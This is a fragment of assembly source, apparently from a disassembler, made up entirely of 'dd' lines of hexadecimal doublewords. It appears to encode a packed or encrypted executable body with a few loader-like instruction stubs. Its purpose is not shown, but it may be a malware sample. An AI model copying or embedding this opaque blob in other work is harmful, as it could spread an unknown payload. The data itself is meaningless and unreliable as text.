		dd 26BA7948h, 53A3F60Ch, 31F3519Dh, 7EDC57A3h, 2AF2BABBh
		dd 0DB45745h, 0C01807BDh, 0B669F7BAh, 94631666h, 38625818h
		dd 0BCCB6306h, 0D619DAFAh, 9422E442h, 2515BDEh,	0BE770000h
		dd 5B0E9860h, 0BA86550Bh, 96F60C67h, 0F6C54028h, 0FC1394D6h
		dd 0FE5CD727h, 0A6F6A937h, 892986E3h, 0B369A843h, 0BC400967h
		dd 5BE9AB09h, 87884AA8h, 2A8F0AC8h, 0CD80D0DCh,	0D88E0DEh
		dd 1453E23Eh, 0A40353FAh, 0B4D9B558h, 0E6A5FBAEh, 0C900000Dh
		dd 0D634801Ch, 0DC3A8614h, 0DF3D8913h, 0DF3D8933h, 56408C18h
		dd 0A72DF435h, 0AF35FD5Bh, 0B13F0563h, 0B8440765h, 0AF7EF96Ch
		dd 0F0017E8Ch, 0BE0EF2D1h, 67C17443h, 239EF60Ch, 0C67E154h
		dd 0DE2E7EF6h, 7907CA28h, 73E7D7C6h, 1E6E21ABh,	5DD853CEh
		dd 0C67AF8Eh, 866BC7F6h, 67FDA3AAh, 0B8873D8Dh,	0FC19CFF1h
		dd 1D7BF646h, 6FF5BC56h, 0BE1C6C1Fh, 3EB96FF5h,	99D65C3h
		dd 0BA0ABD43h, 0B167B76Ah, 8D78A53h, 0F001D035h, 0BA7CDA2Ah
		dd 1590DC2Ch, 0B467F5B7h, 0B13F0664h, 42D49DFBh, 0EEA1F17Fh
		dd 8C3FCD90h, 0CC47219Dh, 0A331F351h, 2FAE1EEDh, 0F36EFA1Eh
		dd 6E01124h, 867765F6h,	44327E7Ah, 8A641A6Ah, 0AF2BDB3Ah
		dd 5003B4D0h, 0D14FAh, 4EEE9B00h, 54E2A402h, 5BE1AA08h
		dd 6705B10Fh, 6AF6BD1Bh, 0DA13341Eh, 0E3418D13h, 0E745911Bh
		dd 0E9479321h, 0DB4E9A26h, 7DA29160h, 0DCBBF001h, 9760BEF8h
		dd 36F9570Dh, 9C4FD59Ch, 9A28EE4Ch, 0CC4797E7h,	1AC46709h
		dd 873D07B9h, 8FD9E5D4h, 753B9914h, 8EEC3CEFh, 3A8A3DCBh
		dd 0C157B584h, 0E5A8FC13h, 14BC07B9h, 3A86D645h, 3F8B19DCh
		dd 7FFA6E50h, 1E08EEB0h, 68E333FAh, 90A372EDh, 0CDF60617h
		dd 6D20AC6Fh, 0B917CD1Dh, 0C2206CF0h, 62C073F9h, 6F5E119Fh
		dd 0CF9E194Fh, 0FC19E8DDh, 9D73D222h, 71AECD70h, 0C6768BEh
		dd 9B480000h, 8547A5F1h, 844DABF7h, 0AA56B400h,	935AB804h
		dd 0B6D7C10Dh, 0D622AE75h, 0DA26B078h, 0E430B67Ch, 0E935C386h
		dd 92CFB76h, 56F0017Ch,	18DB9377h, 67A39261h, 6CBCF60Ch
		dd 447A691Ch, 0CE9FBBB1h, 85D5F231h
		dd 6E318F0Ah, 32BC84E2h, 1D27AD7Ch, 89E7FC13h, 3B8B3EC2h
		dd 0FFE8AB85h, 0D9BCF891h, 9AEA9440h, 0DEA0FE4Ah, 60E75625h
		dd 1A78F00Bh, 0C717CA58h, 0CA561977h, 7D02E7Ah,	4A4D317Dh
		dd 3BFAC974h, 24F60C67h, 227200C6h, 19DC57D2h, 3CC412B1h
		dd 6938EECAh, 0FC139C0Fh, 5AD588D8h, 0FCAF35FCh, 1827F6ACh
		dd 0DEF00B83h, 5BB9E33Bh, 0C1900B99h, 0F00B8372h, 45E59BEBh
		dd 99CB1283h, 0B28150CBh, 0ABF00B97h, 0BF9A985Bh, 0AD39E7BDh
		dd 0A974F7h, 36F90000h,	0CEABFCE8h, 0D260262Eh,	0C97FCF1Fh
		dd 8B19DBE5h, 0B7B87AD8h, 0A4C7CED0h, 63166618h, 3BC18AE8h
		dd 0DE642A88h, 0CE7AD88Eh, 5D1F7D30h, 34F654CFh, 0EDA3F3A6h
		dd 5C0CB2A1h, 32BA83E1h, 0FE792F7Fh, 13355D2Fh,	0F352A2FCh
		dd 0AED36327h, 3AD62CDFh, 7500000Bh, 7AD824C8h,	80DE2AB8h
		dd 83E12DB7h, 8BE935D7h, 0AF440C4h, 5BE9B0E9h, 63E9B10Fh
		dd 6DF3B917h, 7400C321h, 6B3AB528h, 0F0017BC8h,	0DBD2B695h
		dd 4D108B19h, 227BF848h, 0E632E851h, 6490h, 83521500h
		dd 1A42D461h, 0C32F0EDDh, 0E030F60Ch, 0DBF6DA90h, 0E9D88B19h
		dd 0D46A20D5h, 0EA97ACFDh, 0F0501F9Ah, 45FC135Ah, 0BE8E96F5h
		dd 9BCAED2h, 0AC4B3h, 9E3EEB00h, 0A432F452h, 0AB31FA58h
		dd 0B755015Fh, 0BA460D6Bh, 2A63846Eh, 3391DD63h, 3795E16Bh
		dd 3997E371h, 2B9EEA76h, 7A52E1B0h, 2C0BF001h, 9D60BE48h
		dd 38FB590Fh, 27D331ACh, 0F83B0A85h, 65F60C67h,	4EAC5F15h
		dd 0BF82FD8Bh, 8673B724h, 9346FC96h, 720119BCh,	93C33FB0h
		dd 24FF0h, 2BFA7500h, 0F60C7A08h, 0D48725D1h, 0A45AAA84h
		dd 82080C0h, 85B887B6h,	39F60C67h, 0C67CB6Ah, 6A4494F6h
		dd 804FCA1Ah, 0FC137D5Ch, 0FCCB46C1h, 0F00B7239h, 3407D626h
		dd 29F00B72h, 5D489D9h,	0EFA30555h, 53F005B9h, 0DD844476h
		dd 0AC7BF646h, 983E078h, 0D3C275C5h, 87027DEBh,	29DF7D29h
		dd 8150CB5Ah, 69E4340Fh, 29F873EEh, 3919F0Ah, 1340353h
		dd 0BD03919Fh, 919F4FEEh, 0E6C01003h, 0BF82E096h, 0A76AE531h
		dd 6FDCCB99h, 0DF3DF3BBh, 0FD31901Ch, 11BF3CCAh, 9C7085Eh
		dd 3BE80000h, 25E74591h, 24ED4B97h, 4AF654A0h, 33FA58A4h
		dd 567761ADh, 76C24E15h, 7AC65018h, 84D0561Ch, 89D56326h
		dd 69CC9B16h, 0F6F00179h, 19DB3317h, 0D5E9D88Bh, 8538BC85h
		dd 0A76AE535h, 69B9A8BEh, 0FE792F04h, 19CFA12Fh, 2BA6F6FCh
		dd 0EBBA35B0h, 0F001D048h, 47F6C515h, 18F001D0h, 0BD700EBAh
		dd 9671D6Dh, 116FBB41h,	2110C349h, 8150CB9Dh, 0FA1E3B4Fh
		dd 8FED68B8h, 215ECAC7h, 3DF6C7B1h, 7B43A1EDh, 1DE03EF1h
		dd 2708308Fh, 4BFEB4D0h, 930F5h, 2AD27F00h, 30BE80DEh
		dd 37BD86E4h, 3BE18DEBh, 46CA91EFh, 0AEEF10FAh,	0AF0D59E7h
		dd 0B3115DE7h, 0BD1B67EDh, 0AF226EFAh, 79D66534h, 0A887F001h
		dd 73AA79C4h, 22F60C68h, 3AFDA77Fh, 2BBACC69h, 46F5C420h
		dd 17F60C3Fh, 4BC177C7h, 28C672D0h, 1C72575h, 0BA70C073h
		dd 0FA75F3CBh, 448D937h, 0C110635h, 440757F6h, 0E49A85E8h
		dd 0B4669A69h, 7FCFFC13h, 52E0A604h, 0FAC3219Ch, 0AD7CF772h
		dd 0F00B7B8Eh, 7DC97FCFh, 0BD38308Eh, 111729EEh, 0A72272FAh
		dd 0AEFA8649h, 0A0FF8D50h, 0B4CBF1A2h, 8A7BD184h, 25000008h
		dd 2A88D478h, 308EDA68h, 3391DD67h, 3B99E587h, 0BAA4F074h
		dd 0B996099h, 139961BFh, 1DA369C7h, 24B073D1h, 1BEA65D8h
		dd 0F0017818h, 6A826645h, 0F60C67C7h, 40BB490Ch, 0EE53A37Dh
		dd 6228DED0h, 81D121D4h, 2E907FCBh, 0F7F0BF3Ah,	5CFC13ABh
		dd 6D33910Ch, 773D9BE7h, 0B0F56776h, 0B786D559h, 0F00BB484h
		dd 0E93989D9h, 81BE036h, 7650000h, 1D01B745h, 79F4744Ah
		dd 13941AAAh, 3C0563FCh, 0A95CE2AAh, 6B90959h, 0B4B0837h
		dd 0F34BEEF0h, 0CA5AE2A4h, 16F2299h, 0DB3E0000h, 7EDC8F15h
		dd 57B530B6h, 0F6540795h, 0A258A82Eh, 42CE91EFh, 726B318Fh
		dd 14587F37h, 875643D9h, 0A9C72399h, 308E0959h,	0D727DA84h
		dd 752BB179h, 7F05CB29h, 578E51CCh, 0CF780068h,	2F8D7C32h
		dd 0EAFC3F0Eh, 1161F60Ch, 0C7746C1h, 61F60CE5h,	27CA5E11h
		dd 76FCC20Fh, 8006CC2Ah, 51FBA705h, 0E154239Eh,	7EF60CEAh
		dd 9463DE2Eh, 0F60CEAA1h, 5B86EBEh, 0EBB10F8Ah,	0EAA79665h
		dd 7134F60Ch, 3B909E3h,	0CE51534h, 0CF2DA8F6h, 79C97C08h
		dd 0BB0620C3h, 34236FF5h, 0EA65E088h, 873AC48Ch, 7BB28137h
		dd 0D4F60CE5h, 0AB73D184h, 0DF5AD521h, 0CEA2D10h, 2CE232F6h
		dd 0CD8006CEh, 6D20AC6Fh, 0D11C36D9h, 28AC7509h, 82BFA75h
		dd 55F60CEAh, 0EA65B505h, 400FC48Ch, 0F60CEAFDh, 0FC21262h
		dd 5FBD09BFh, 6B5A0D97h, 0CB9A1553h, 0FC130CE5h, 3E6FAF72h
		dd 0AB7D1F16h, 0E9B10F5Bh, 33F98D55h, 5AAA5DADh, 0A5CC8F0Ah
		dd 0E045F2CAh, 0DAF5BB9h, 7B5A457h, 0D6BE661h, 0BC0CBF45h
		dd 5309975Eh, 0B79B584h, 9F52A2F0h, 6932900Bh, 0B08A2DE3h
		dd 5CD75D25h, 88AE1EE1h, 6CA7A6B9h, 0BE19E9Dh, 0B96FBFF0h
		dd 0AF470F6Dh, 590C5CE8h, 9914546Ah, 140D5ECAh,	8149A7FAh
		dd 35F848FBh, 0C2B5E8E2h, 0ACF84848h, 0B400864Eh, 0B6029056h
		dd 0F4744AD2h, 97E6AA79h, 0DF2FFC13h, 0A753B12Ch, 4C025205h
		dd 239E2CEEh, 485AD9A8h, 0B303F00Bh, 4ACDB1FDh,	9C2AEC8Eh
		dd 964999E9h, 69F7BD1Bh, 0E1B066B6h, 0F60C675Eh, 735DF598h
		dd 0BC14F15h, 0C32EA96Bh, 5CE993h, 0DB050000h, 30B47D19h
		dd 2A6A2D7Dh, 65535DE2h, 0CB46C111h, 0CC339FCh,	13D626F6h
		dd 7E76B2D7h, 0A3560C4Ah, 0C2E61D4h, 89A144F6h,	7D46A41Fh
		dd 25F444F7h, 0F60C2E16h, 87587C5Eh, 8C66C4A4h,	6628863Ch
		dd 0B2BD8CD8h, 9FF60C72h, 48984BD9h, 0FF85A2F8h, 0C927FFFFh
		dd 7ACA7D03h, 60BEE0C4h, 7570AB4h, 0AC5FFDA9h, 8548A65Ch
		dd 0D2B97CF7h, 77F258Eh, 0D55F2785h, 381CD222h,	8E4AA286h
		dd 9ED16FAh, 0C322E799h, 5A6C2F96h, 0A0B1AD93h,	391EA157h
		dd 3A000000h, 16FA8E4Ah, 674CEFBEh, 0C111F60Ch,	0BEDABEDDh
		dd 819D9E60h, 20C21422h, 0B505B808h, 26DFA1FFh,	0CF9E457h
		dd 0D92979F6h, 0B71590F5h, 64B467F5h, 24E3CAAEh, 0FF000000h
		dd 16FA8E4Ah, 674CEFBEh, 3181F60Ch, 0DBDABE4Dh,	0B2108B19h
		dd 61B164EAh, 1590C7ABh, 0B467F5B7h, 0DBCAAE64h, 0B10F8A12h
		dd 0CE6D3C05h, 8FF60C67h, 8639EF3Fh, 5FE5AD0Bh,	675BDAA9h
		dd 0A74AF60Ch, 0F379428Fh, 7553D8A7h, 0DC32F60Ch, 0FFFFF320h
		dd 8B19DBF8h, 0FA6E503Fh, 9AD0B07Fh, 0D525FC13h, 9D49A722h
		dd 46FC4CFFh, 0B55C877h, 0B38B2EF0h, 0CA5D22E4h, 0A1A76A99h
		dd 40EAF4C5h, 0A0DDF52Dh, 71C14049h, 738BBh, 0E3540000h
		dd 1, 0F4744AFFh, 0CC581B79h, 9813C919h, 6913BF1Dh, 95C4E4B3h
		dd 0E131FC13h, 0B53F0866h, 0ED14CFFh, 9C46FDFDh, 36944AE0h
		dd 0CB9AE674h, 0F00BB7BDh, 0E632C086h, 8134C288h, 0AA6CF3C8h
		dd 420B691Ch, 0EC8F07BAh, 8A2D9552h, 0E1AA08B0h, 8147A55Bh
		dd 541A78F3h, 6ECC18CEh, 0BB490FABh, 0FF5DD86Bh, 9BF9AC38h
		dd 43F949D3h, 0DA2322E5h, 6699D30h, 0B8C1F6Fh, 4003CE68h
		dd 0BE1BFFB4h, 0DCB489FBh, 81299DD6h, 84C487DDh, 0E94C1B62h
		dd 76F60CF9h, 8C5BD626h, 0F60CF9A9h, 10B066B6h,	9443C14Eh
		dd 0D58Eh, 43BEAA00h, 0C67C174h, 984E9EF6h, 0DA5513A9h
		dd 752BB97Ch
		dd 41EFBE91h, 86F60C67h, 67F93C0Bh, 1666F60Ch, 0DABEE2C6h
		dd 0AB460BEh, 0C99EB154h, 0A88C18DBh, 8E4AA286h, 9ED16FAh
		dd 0C322E799h, 4B2796h,	4A430000h, 3D00CF8Eh, 22F60C67h
		dd 0BE9E82D2h, 0C674CEFh, 46C111F6h, 0AA01EB83h, 6C2288DCh
		dd 0DBDABE88h, 95108B19h, 0C6777C6h, 0D598E8F6h, 4D1320C0h
		dd 0D9BD7301h, 0AB460BEh, 677DC08Fh, 92E2F60Ch,	0E34F33DCh
		dd 40h,	0EC8E4AFFh, 9BEB9E40h, 43BE674Bh, 0E7EDA080h, 22D8B412h
		dd 0C8DE053h, 0B99DEDF6h, 0C17443BEh, 9EF60C67h, 3104D34Eh
		dd 2EF60C67h, 0C9AD28DEh, 0B67D19DBh, 0D727772Ah, 0B71590F3h
		dd 0CDB167F5h, 0FFFF02E3h, 18DBFFFFh, 0E35ED98Ch, 0C672114h
		dd 38EE3EF6h, 3D8917DAh, 0D685704Eh, 0D25FA1D2h, 0BDA55A5h
		dd 0FC1384D5h, 501FD222h, 0F00B8BE1h, 0B0C98C07h, 202AE37Dh
		dd 0AF872AE0h, 0CA431EE0h, 40086699h, 527D00B6h, 2000000h
		dd 0A356F8A4h, 4AB99D53h, 0FE79F474h, 5625DEA0h, 0F60C67E7h
		dd 22D82878h, 13754153h, 0F3C23DFCh, 0F00B6A40h, 6DF7BF1Dh
		dd 3D8D671Dh, 0C5940F8Ah, 0F00B6A76h, 12E197E7h, 0F00B6A2Fh
		dd 7F0C26C9h, 99CA3BBDh, 0E5FDh, 61248200h, 1AD020D3h
		dd 9E60BE36h, 570D5D10h, 0F7AA36F9h, 7740D299h,	0C4229DEDh
		dd 73C37618h, 0E9AC0ABDh, 874AA85Bh, 0E7DEADF9h, 0C4F60C6Ch
		dd 0C9277301h, 0D8C77A06h, 380782E6h, 0FC138F60h, 2A1965B5h
		dd 8A59D494h, 0FA113454h, 6DFBBE1Ch, 20EF6ABAh,	0F602EB1Dh
		dd 623CF242h, 0C78AF89Fh, 2D645F8h, 7CA1AF6h, 75C5A203h
		dd 4FD59CFAh, 52DEA503h, 0CC1259F3h, 247A2DB4h,	251h, 0BF0BB15Eh
		dd 0C5119F61h, 0CA169E67h, 0D21EC06Ch, 0DB27AD74h, 0D097D0F1h
		dd 0D29AF844h, 0DCA2004Ch, 0E9AC0A56h, 219C0F5Bh, 142E352h
		dd 0B99D7CF0h, 0C8D1FBBEh, 0A9BD8A4h, 932FF654h, 459548CCh
		dd 0E59824E7h, 9BF94595h, 73D14CD8h, 0CB511AACh, 0C578C818h
		dd 0F873BF75h, 0E6D8D19Ah, 32A631BDh, 9590C5Ch,	744A6F53h
		dd 2AAA79F4h, 73FC1375h, 9EA17023h, 58F00B6Ah, 4C0E9DB5h
		dd 8C99CA3Ch, 0CCh, 6118DBA8h, 0E2B13B03h, 0F60C6753h
		dd 5EECAE0Ch, 0AD0BBE0Eh, 81DF5AE6h, 0D85C25B9h, 0CF85D525h
		dd 5726A11Ch, 0F60C67E4h, 672A09D8h, 0E333F60Ch, 3403B909h
		dd 0F60C6CB9h, 82BFA75h, 0D1F60C63h, 57A7810Fh,	0E68043A1h
		dd 8FDF9220h, 0D295F33Fh, 1AA49346h, 8958D34Eh,	0F60C63AAh
		dd 32AD63B3h, 138FB563h, 4692E2FCh, 2CF36757h, 55A5F5A8h
		dd 28740BDAh, 71C1FA11h, 43D198F6h, 4ED299F7h, 0CC3067EFh
		dd 166C1FB4h, 141h, 0CF1BC16Eh,	0D521AF71h, 0DA26AE77h
		dd 0E22ED07Ch, 0EB37BD84h, 0E0A7E001h, 0E2AA0854h, 0ECB2105Ch
		dd 0F9BC1A66h, 31AC1F6Bh, 141D362h, 0C9AD8CF0h,	159014DBh
		dd 0B366EEB7h, 361AD63h, 8468B440h, 0D98C18DBh,	0E02CB87Bh
		dd 209BCDF1h, 138C1F51h, 9D1868FCh, 0A4F07C3Fh,	7AF58346h
		dd 14CA541Ch, 9C6BE661h, 0F00B4399h, 18A668C6h,	9B2312C8h
		dd 58352CDh, 72FA1E56h,	829DC322h, 7E31B4D0h, 0BC28h, 0A646F300h
		dd 0AC3AFC5Ah, 0B3390260h, 0BF5D0967h, 0C24E1573h, 326B8C76h
		dd 3B99E56Bh, 3F9DE973h, 419FEB79h, 33A6F27Eh, 404AE9B8h
		dd 3413F001h, 0C9744A50h, 0C673BFAh, 84D424F6h,	73A63A09h
		dd 0BF0FFC19h, 5DEBAE0Ch, 64F0B311h, 0ED17E2B1h, 7F22F8ACh
		dd 0C9571AA7h, 3104D34Eh, 2EF89412h, 61DC28DEh,	399F2E9Eh
		dd 915A2FA2h, 0B808580Bh, 53E1A402h, 0F89642A0h, 881EE745h
		dd 318134C2h, 0DD02EE1h, 0B154CC7Fh, 4BC65A99h,	0C1C37688h
		dd 0F0A6EAE0h, 25E8F54Dh, 2AED4B97h, 3C60239Eh,	86C74B9Fh
		dd 0AA00B369h, 11h, 9A60BEC6h, 196590Ch, 1CC85211h, 8C782E7Eh
		dd 8E2EDBA8h, 2EBA7DDBh, 0C9571D7Bh, 66F0B816h,	28E55B3h
		dd 0A62AF14Fh, 43E995F3h, 0E3693290h, 8210D230h, 89567ECFh
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2404895Ch, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 56242C89h, 0C681E689h, 4
		dd 4EE81h, 34870000h, 3C895C24h, 7D6D6824h, 4890000h, 0C78B824h
		dd 0C589060Dh, 3C8B5458h, 4C48324h, 8904EC83h, 478F242Ch
		dd 2434FF08h, 4C4835Fh,	53242C8Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 0AE95C24h, 0FEFFFA54h, 0D080959Fh, 0AEF161D2h
		dd 8AC03EFEh, 0F9B8B6FDh, 3060D27h, 85C650C5h, 6071525h
		dd 17256847h, 0B5FFCF38h, 6072939h, 388D858Dh, 0D0FF0607h
		dd 858DD88Bh, 6072411h,	1046850h, 0D3FF0000h, 152585C6h
		dd 68530607h, 8307F8BFh, 2939B5FFh, 858D0607h, 607388Dh
		dd 8589D0FFh, 60D0A59h,	129BD83h, 0F000607h, 0B84h, 899D8B00h
		dd 0E9060711h, 5, 0BBh,	1006800h, 0B58D0000h, 60D0A5Dh
		dd 95FF5356h, 607280Dh,	0A5DB58Dh, 0F003060Dh, 1E9h, 3E804E00h
		dd 9840F5Ch, 80000000h,	850F2F3Eh, 0FFFFFFEDh, 8D0006C6h
		dd 0D0A5D85h, 95FF5006h, 60D0A59h, 87E0FF58h, 8021A878h
		dd 0D25849EEh, 0B122426Bh, 9032F5DEh, 924CD53Ch, 0DA164A7Bh
		dd 0A8756075h, 0FF48D22Fh, 3837BDCEh, 0BE3BB2EEh, 0A912175Fh
		dd 69692A1Ah, 0F9071DFDh, 510C052Dh, 0D00198D5h, 0DD3CBF5Ch
		dd 7652874h, 0F7722EB7h, 8D3A3F19h, 0D2A318Dh, 0FD858906h
		dd 89060731h, 70A018Dh,	25850906h, 0C706071Dh, 714A585h
		dd 743806h, 599D8B00h, 0C7060705h, 72FD585h, 6,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 6FA38225h, 0F95E2B2h, 9D89C1BFh, 6070F01h, 1559B5FFh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0A4327FC3h, 0B1B589ADh, 2B060709h, 70331B5h
		dd 1995FF06h, 8906071Ch, 714158Dh, 8DBD8906h, 6A06071Ch
		dd 6995FF00h, 8B06071Bh, 9339EBC0h, 6A74AB0Ch, 463AC2F5h
		dd 0D1327AE9h, 0BF3C4C85h, 0B422D9F4h, 1F889FFBh, 0EBFE256Eh
		dd 72F3C6F7h, 7366A97h,	77C683C6h, 914166Ah, 15F632D1h
		dd 10157690h, 2D5FE87h,	2AE68D8Dh, 0F98B060Dh, 0A018D89h
		dd 8AF90607h, 0A585C7C3h, 2C060714h, 3300006Eh,	70069B5h
		dd 0D585C706h, 6072Fh, 0F000000h, 681h,	3D958900h, 0FF060717h
		dd 719D5B5h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E9343A48h, 9, 53B26601h,	0F978DF7Ch
		dd 1995FFF2h, 0F806071Ch, 95FF006Ah, 6071B69h, 7FEBC08Bh
		dd 0D8A6CE15h, 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh,	0BA4119EEh
		dd 3CAE9F31h, 6BA3DE01h, 23D92754h, 0A6AADF5Eh,	2228593Ch
		dd 0CF10AD2Dh, 9382B582h, 77FC6A65h, 51043D0h, 0E8BE6954h
		dd 54348E9Bh, 356584FEh, 0AC5E479h, 321DCF31h, 554FF78Ah
		dd 6FE88208h, 0C86DE461h, 0E70D60F4h, 490D5A0Eh, 0EEA55471h
		dd 5C3B8141h, 70144F50h, 804F7C63h, 0B7F6D4CAh,	9A328D82h
		dd 271CA8B1h, 0E864ED11h, 14h, 32187F1Fh, 29A65137h, 0C3E1D250h
		dd 112EDB20h, 6817D796h, 1ED2DDB8h, 0C7815F70h,	6542h
		dd 131850Bh, 0BE0607h, 0F9000000h, 0F3E34FFh, 68Fh, 0D9BD8900h
		dd 5906070Eh, 7EE981FCh, 0F621CBDh
		dd 68Ah, 0AD9D8B00h, 81060717h,	4DDB28F1h, 2850F40h, 8B000000h
		dd 91E981DAh, 8B3FD220h, 7306595h, 370C8906h, 7DBD3156h
		dd 5B06071Dh, 28F0Fh, 90B20000h, 1A4EEE81h, 0C681479Dh
		dd 479D1A4Ah, 81C1BF0Fh, 0FF9B60FEh, 95850FFFh,	0E9FFFFFFh
		dd 0Ah,	32C604EBh, 35C98645h, 12E89BB5h, 6E000000h, 3682561Bh
		dd 0DEBC1CEFh, 0B3E37FF0h, 7737F00h, 13E9BDh, 98530000h
		dd 0C2E8FFD8h, 0CF723B6Fh, 0C4576B54h, 19E4DD47h, 0B8665E2Fh
		dd 0C681B093h, 626Dh, 38A0Fh, 8B660000h, 0E9C92BC7h, 8
		dd 0CAE5601Ch, 49DC9887h, 8B0E1C8Bh, 704F585h, 0CFF38106h
		dd 0F4DDD5Ah, 685h, 6DB52900h, 8106070Ah, 5F6026C3h, 18D8959h
		dd 81060705h, 91F219C3h, 0E1C8922h, 0CE953h, 0F60000h
		dd 0BDAAE458h, 9C9A9FFDh, 8158C1A8h, 0B9FCF4D8h, 4E9837Fh
		dd 0F532B866h, 9E4CF981h, 850FFFFFh, 0FFFFFFA4h, 0E8D0Fh
		dd 8B600000h, 73209B5h,	0B9B58B06h, 6106070Ch, 1B9026EBh
		dd 0AFEC33B6h, 746E558Eh, 2E6C6C64h, 6C6C64h, 7462188h
		dd 0A3D25D34h, 7E5E6197h, 2 dup(0)
		dd 6BCE9h, 2E4F6800h, 76E9060Dh, 68FFFA4Fh, 60D2F23h, 0FA4F6CE9h
		dd 2FCF68FFh, 62E9060Dh, 68FFFA4Fh, 60D30B2h, 0FA4F58E9h
		dd 319E68FFh, 4EE9060Dh, 68FFFA4Fh, 60D3270h, 0FA4F44E9h
		dd 0CE6E1BFFh, 0D4622482h, 0DB612A88h, 0E785318Fh, 0EA763D9Bh
		dd 5A93B49Eh, 63C10D93h, 67C5119Bh, 69C713A1h, 5BCE1AA6h
		dd 4A2211E0h, 5C3BF001h, 0A49766E1h, 0B9F0014Ah, 0E3CFB369h
		dd 13h,	8C18DBFFh, 2CB87BD9h, 672E11E0h, 0EDB3F60Ch, 0BE371B67h
		dd 0C0306DFBh, 5BBFAFFh, 45C0A816h, 824DB182h, 560C8BD6h
		dd 0A4000CDBh, 9CCFC13h, 0D8257772h, 0AD37001Fh, 0A45AAAFAh
		dd 0F8C77ACAh, 0F00B7A49h, 65320CAFh, 99CA4BA3h, 251E3h
		dd 0F780FF00h, 0E89DFDFh, 6771C493h, 9EEEF60Ch,	924683DBh
		dd 46FC8EC6h, 0B0D8FCCBh, 0F545FC13h, 0D7DF7140h, 0AB13BC3Ch
		dd 1870C392h, 0A0693425h, 3F19691Ch, 0A9249FEFh, 60BE17E6h
		dd 13C9E811h, 3A48D844h, 32E5353Eh, 3650F4B7h, 0DAA5203Fh
		dd 0DF893524h, 0C3B69564h, 0B7073838h, 8D1BDE3Ch, 6920E341h
		dd 280C9B9Ah, 0F974C434h, 280C0B2Ah, 0B4045434h, 0B666A155h
		dd 5CB265F2h, 4D9h, 93DF7D2Ah, 99E57335h, 9EEA723Bh, 9EEA9440h
		dd 9FEB7940h, 8C5394B5h, 965EBC08h, 0A066C410h,	0A568C612h
		dd 0DD58CB17h, 1492F0Eh, 6D5130F0h, 0D98C18DBh,	1994D4EAh
		dd 13795A4Ah, 0D853A3FCh, 0CF66CC15h, 0BE53D00h, 0FD222F0h
		dd 8E446B86h, 0E8008942h, 0B91792D6h, 69B96CF0h, 2B6938B3h
		dd 74FA14D8h, 79F46F24h, 0CD78BAAh, 0CE84D4F6h,	0AA9157FFh
		dd 0DE17A78Eh, 0B697794Ch, 8904542Eh, 8E0F52BAh, 0F06BBB64h
		dd 6EBF232Dh, 0CDC621BDh, 0B8B679ADh, 0EF7D40D2h, 0E69CEC3Ch
		dd 0EE7A4433h, 52531573h, 4AEB34A8h, 0AA60B09Eh, 9456B42Fh
		dd 0A2815006h, 1B628CC2h, 2FF250CBh, 7CDA55A1h,	27772AB4h
		dd 0C4501371h, 4A679B65h, 66BC6F1Ch, 405h, 5FAB51FEh, 65B13F01h
		dd 6AB63E07h, 72BE600Ch, 7BC74D14h, 70377091h, 723A98E4h
		dd 7C42A0ECh, 894CAAF6h, 0C13CAFFBh, 14843F2h, 593D1CF0h
		dd 0D98C18DBh, 4421D4EAh, 6FF947A9h, 69E45FAFh,	0E3AB430Bh
		dd 656A659h, 0A3AF8150h, 0C818FC13h, 9D27EF4Dh,	0C2209BE7h
		dd 0D3C27816h, 87027DEBh, 5CFE3D0Ch, 0F5FF00Bh,	0AF868A59h
		dd 0BF0FFA1Eh, 9523E644h, 8E28EB49h, 3CEF3FC5h,	13A163C1h
		dd 0ED506E5Dh, 6701F1Eh, 0A0F040F6h, 0B3556225h, 3E5D8896h
		dd 523E0D88h, 0C3FC1995h, 0C8189C65h, 0CD94A169h, 6CC275AEh
		dd 359h, 135FFDAAh, 1965F3B5h, 1E6AF2BBh, 1E6A14C0h, 1F6BF9C0h
		dd 0CD31435h, 16DE3C88h, 20E64490h, 25E84692h, 5DD84B97h
		dd 148AF8Eh, 0EDD1B0F0h, 0D98C18DBh, 1994D4EAh,	1391064Ah
		dd 69318FFCh, 106D30E3h, 1E0F0302h, 0E53181D1h,	1C88Fh
		dd 0FC80AB00h, 138EDAE4h, 0F08E3A98h, 7D296B3Ah, 2676FC13h
		dd 4A6D30ABh, 1BF63D44h, 0FD56E5B4h, 8C07F00Bh,	0BFD7EBDh
		dd 3F8FDFF0h, 0FA05D489h, 0D6ED4EC5h, 360580E8h, 0F28E94Eh
		dd 0F27E419Fh, 0A574EF3Fh, 3301696h, 742777C7h,	0B42F3985h
		dd 16CB6A39h, 44940330h, 0E144138Eh, 0BD092AA9h, 5A0D975Fh
		dd 2A7A540Ah, 28E51AFh,	0DD632987h, 5DE0AF2Ah, 2053A66h
		dd 18E762B2h, 53A6625h,	0E834EA3Ah, 0DA39C78Ah,	0C1A4D03Ah
		dd 76C71DD0h, 8D000002h, 92F03CE0h, 98F642D0h, 9BF945CFh
		dd 0A3014DEFh, 220C58DCh, 7301C801h, 7B01C927h,	850BD12Fh
		dd 8C18DB39h, 8352CD40h, 0F00157B0h, 0DBEACEADh, 0EAD98C18h
		dd 0BB1994D4h, 6CBC6FF5h, 786C3BB6h, 0C5FC1379h, 0B07FFA75h
		dd 0F00B768Dh, 80CC82D2h, 942A42C7h, 4A8A59D4h,	0D3FA146Ch
		dd 0E3AA0883h, 1C049A5Dh, 29129F57h, 0E543BE73h, 8EDE911Fh
		dd 0FD0D09D8h, 97F584EEh, 3E8E41EBh, 0CECE7F7Bh, 954B1AAFh
		dd 0D55018A6h, 0EF8A9C12h, 28A30AE5h, 0ED26DA59h, 7D338378h
		dd 0C5493302h, 56A672F2h, 29B77DDBh, 0EDD1C073h, 1231007Bh
		dd 0CA74F085h, 4ABD804Fh, 52A278E0h, 0F772C29Ch, 332017Ch
		dd 5C78E04Ah, 35F8560Ch, 0CA581E7Ch, 45F8C717h,	9678E04Ah
		dd 429245D3h, 7CC81868h, 6ECD5B1Eh, 25EEA4B0h, 8A5DB366h
		dd 79000001h, 86E430CCh, 8CEA36C4h, 8FED39C3h, 8FED39E3h
